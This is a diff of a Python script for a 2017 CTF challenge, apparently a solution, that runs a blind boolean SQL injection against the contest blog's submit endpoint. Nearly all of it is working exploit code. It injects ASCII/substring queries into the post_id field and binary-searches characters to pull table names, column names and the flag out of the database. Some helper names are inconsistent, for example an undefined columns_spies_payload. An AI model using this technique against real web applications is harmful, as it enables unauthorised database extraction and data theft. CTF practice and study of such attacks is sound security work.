|
| 1 | +import requests, urllib, re, sys, base64 |
| 2 | + |
| 3 | +url_base = "https://blog.pwning2017.p4.team" |
| 4 | +url_login = url_base; |
| 5 | +url_payload = url_base + "/submit"; |
| 6 | + |
| 7 | +sessid = requests.Session() |
| 8 | + |
| 9 | +init_array = [] |
| 10 | +sillent = False |
| 11 | +fancy_console = False |
| 12 | + |
| 13 | +ASCIIAlphabet = "\001 !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~" |
| 14 | +simpleAlphabet = "\001abcdefghijklmnopqrstuvwxyz" |
| 15 | +HEXAlphabet = "\0010123456789abcdef" |
| 16 | +advancedAlphabet= "\0010123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz" |
| 17 | + |
| 18 | +flag_payload = "Ascii(substring((SELECT flag FROM ctf_flag WHERE 1 LIMIT @rOFFSET@,1),@wOFFSET@,1))>@cORD@" |
| 19 | +tables_payload = "Ascii(substring((SELECT table_name FROM information_schema.tables WHERE table_schema = database() LIMIT @rOFFSET@,1),@wOFFSET@,1))>@cORD@" |
| 20 | + |
| 21 | +columns_ctf_payload = "Ascii(substring((SELECT column_name FROM information_schema.columns WHERE table_name = 'ctf_flag' LIMIT @rOFFSET@,1),@wOFFSET@,1))>@cORD@" |
| 22 | +columns_blog_comments_payload = "Ascii(substring((SELECT column_name FROM information_schema.columns WHERE table_name = 'spies' LIMIT @rOFFSET@,1),@wOFFSET@,1))>@cORD@#" |
| 23 | + |
| 24 | +def printInPlace(alert): |
| 25 | + if fancy_console: |
| 26 | + sys.stdout.write("{}{}".format(alert, "\b"*len(alert))) |
| 27 | + sys.stdout.flush(); |
| 28 | + return fancy_console |
| 29 | + |
| 30 | +def createPayload( query ): |
| 31 | + return {"post_id": query, "text": "##HEHE##", "who": "none" } |
| 32 | + |
| 33 | +def sendPayload ( query ): |
| 34 | + if sillent == False: print ("exec: {}".format(query)) |
| 35 | + payload = createPayload(query) |
| 36 | + add = sessid.post(url_payload, payload, allow_redirects=True) |
| 37 | + return findIDs(add.text) |
| 38 | + |
| 39 | +def logIn(): |
| 40 | + print ("loggin in: ") |
| 41 | + sessid.get(url_login, allow_redirects=True) |
| 42 | + return |
| 43 | + |
| 44 | +def findIDs(text): |
| 45 | + regex = re.compile(r"(##HEHE##)") |
| 46 | + matches = regex.findall(text) |
| 47 | + return matches |
| 48 | + |
| 49 | +def tryPayload(str): |
| 50 | + global init_array |
| 51 | + old_arr = len(init_array) |
| 52 | + init_array = sendPayload(str) |
| 53 | + return len(init_array) > old_arr |
| 54 | + |
| 55 | +#bin-search ASCII inside [alphabet] |
| 56 | +def findName(payload, alphabet): |
| 57 | + a = 0 |
| 58 | + b = len(alphabet)-1 |
| 59 | + while (a < b): |
| 60 | + mid = (a+b)//2 |
| 61 | + c = alphabet[mid] |
| 62 | + printInPlace(c) |
| 63 | + if tryPayload(payload |
| 64 | + .replace("@cORD@", str(ord(c))) |
| 65 | + ): a = mid + 1 |
| 66 | + else: |
| 67 | + b = mid |
| 68 | + return alphabet[a] |
| 69 | + |
| 70 | + |
| 71 | +def findNames(payload, alphabet): |
| 72 | + for result_offset in range(0, 10): |
| 73 | + result = "" |
| 74 | + pl = payload.replace("@rOFFSET@", str(result_offset)) |
| 75 | + for word_offset in range(1, 40): |
| 76 | + pl2 = pl.replace("@wOFFSET@", str(word_offset)) |
| 77 | + c = findName(pl2, alphabet) |
| 78 | + if c == alphabet[0]: break |
| 79 | + sys.stdout.write(c) |
| 80 | + sys.stdout.flush |
| 81 | + result+=c |
| 82 | + print(" ") |
| 83 | + if len(result) <= 1: break |
| 84 | + return |
| 85 | + |
| 86 | + |
| 87 | +def findTables(): |
| 88 | + print ("..:: Searching for table names ::..") |
| 89 | + findNames(tables_payload, advancedAlphabet) |
| 90 | + |
| 91 | +def findSpiesrColumns(): |
| 92 | + print ("..:: Searching for column names in user ::..") |
| 93 | + findNames(columns_spies_payload, advancedAlphabet) |
| 94 | + |
| 95 | +def findCtfColumns(): |
| 96 | + print ("..:: Searching for column names in point::..") |
| 97 | + findNames(columns_ctf_payload, advancedAlphabet) |
| 98 | + |
| 99 | + |
| 100 | +def findFlag(): |
| 101 | + print ("..:: Searching for Admin hash ::..") |
| 102 | + findNames(flag_payload, ASCIIAlphabet) |
| 103 | + |
| 104 | + |
| 105 | + |
| 106 | +fancy_console = True # Turn on fancy terminal output |
| 107 | +sillent = True # Turn off debugging mode |
| 108 | +logIn(); |
| 109 | + |
| 110 | + |
| 111 | +#deletePoints(); |
| 112 | +#addPoints(); |
| 113 | +init_array = sendPayload("1"); |
| 114 | + |
| 115 | +print (init_array) |
| 116 | +# findTables(); |
| 117 | +# findCtfColumns(); |
| 118 | +findFlag() |
| 119 | +# findUsersColumns(); |
| 120 | +# findSpiesrColumns(); |
| 121 | +# findAdminHash(); |
| 122 | + |
| 123 | +# findAdminHash(); |
| 124 | + |
0 commit comments